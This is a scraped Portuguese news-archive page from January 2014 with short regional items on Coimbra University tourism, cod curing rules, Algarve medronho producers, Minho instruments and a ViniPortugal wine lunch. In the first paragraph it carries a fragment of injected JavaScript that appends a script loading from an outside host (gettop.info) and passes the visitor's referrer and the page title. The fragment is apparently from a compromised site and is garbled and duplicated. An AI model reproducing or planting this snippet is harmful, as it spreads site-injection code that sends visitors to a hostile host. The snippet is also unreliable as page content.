A Universidade de Coimbra registou um aumento de 30% no seu roteiro turístico nos primeiros seis meses desde a classificação de Património Mundial da UNESCO, mas os comerciantes queixam-se de os turistas terem uma passagem curta pela cidade. testd.getElementsByTagName(‘head’)[0].appendChild(s);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; d.getElementsByTagName(‘head’)[0].appendChild(s);
Arquivo para janeiro 2014 | Página mensal de arquivo
A introdução de polifosfatos no bacalhau entra em vigor a 1 de Janeiro de 2014. No Cais dos Bacalhoeiros, na Gafanha da Nazaré (Ílhavo), os industriais não escondem a preocupação com o futuro e temem que «se venda água em vez de peixe». João Vieira, administrador da Pascoal, e António Ribau, da empresa de pescas Ribau, falam das suas preocupações em relação aos aditivos no processo de salga de bacalhau de cura tradicional portuguesa.
Criar rotas turísticas, que façam a ligação do Litoral ao Interior algarvio e afirmar o espaço como um centro de valorização da gastronomia local e dos saberes tradicionais são alguns dos projectos para o futuro do Centro de Interpretação do Território de Castro Marim, que abriu as portas em Agosto de 2009. Filomena Sintra, vice-presidente da Câmara algarvia, fala da importância do Centro que, desde 2011 foi visitado por cinco mil pessoas.
O dia-a-dia de Maria Joaquina Ramiro faz-se de muita paciência. Um saber esperar temperado com experiência, persistência e espírito inventivo que resulta, no final, numa multidão de frasquinhos plenos de doçura.
Há 20 anos que Luís Sequeira apanha medronho e o destila. À produção de aguardentes, parte do dia-a-dia da família Sequeira há várias gerações, o produtor algarvio junto a palavra inovação. Ao licor de medronho Luís adiciona mel e chocolate criando bombons que gosta de chamar «mon cherry à algarvia». O Medronho e a batata-doce são a última união criada por este produtor.
Reformado da banca há dez anos anos, António Maia decidiu apostar em 2009 numa iniciativa local «onde pudesse ser feliz». Encontrou o «sonho» na vila minhota de Cabeceiras de Basto, na Casa de Encosturas. É aqui que, juntamente com a mulher e o filho, aposta na produção artesanal de compotas, mel, marmeladas, licores e ervas aromáticas.
A Associação para o Desenvolvimento Regional do Minho (Adere-Minho) deverá começar em 2015 a certificar cavaquinhos e violas braguesas, dois instrumentos «com raízes» em Braga, informou a directora-geral daquele organismo, Teresa Costa.
A câmara de Miranda do Douro está a promover um concurso que obriga os participantes a usar a língua mirandesa para legendarem fotos que a autarquia vai colocar na rede social Facebook.
A Universidade de Coimbra quer apresentar «produtos diferenciados» na área do turismo, como um roteiro para a comunidade judaica, no qual se incluirá consultas a uma bíblia judaica do século XV ou a documentos de Aristides de Sousa Mendes.
Mais de 120 Embaixadores, Cônsules e Delegados do AICEP degustaram vinhos portugueses no almoço organizado ontem pela ViniPortugal, no Refeitório dos Monges do Palácio de São Bento, na Assembleia da República. A iniciativa pretendeu promover a qualidade do vinho português junto do corpo diplomático, importantes individualidades que representam Portugal em várias partes do mundo e desempenham um papel influente na divulgação do melhor de Portugal.
A ementa do almoço, realizado no âmbito do Seminário Diplomático, harmonizou as criações dos Chefs Vitor Sobral e Alexandre Silva com os vinhos nacionais, apresentados pelo escanção Rodolfo Tristão.
Para reforçar a promoção dos Vinhos de Portugal na Assembleia da República a ViniPortugal participou também com os Vinhos de Portugal na Mostra de Conservas Gourmet, no Salão Nobre da Assembleia da República, numa acção da Docapesca que patrocinou o prato de peixe do almoço.
Para Jorge Monteiro, presidente da ViniPortugal, “Consideramos importante ter os Embaixadores e os Conselheiros Económicos das Embaixadas como aliados nos principais mercados internacionais dado que o vinho português é um símbolo de Portugal no mundo. Embora as exportações de vinho português continuem a aumentar nos últimos anos, Portugal deve afirmar-se como um produtor de vinhos de qualidade por excelência e nesse sentido ainda existe trabalho concertado e estratégico a desenvolver: mais do que aumentar o volume exportado, o que importa é a valorização do produto e das exportações.”
Fonte: Wines of Portugal
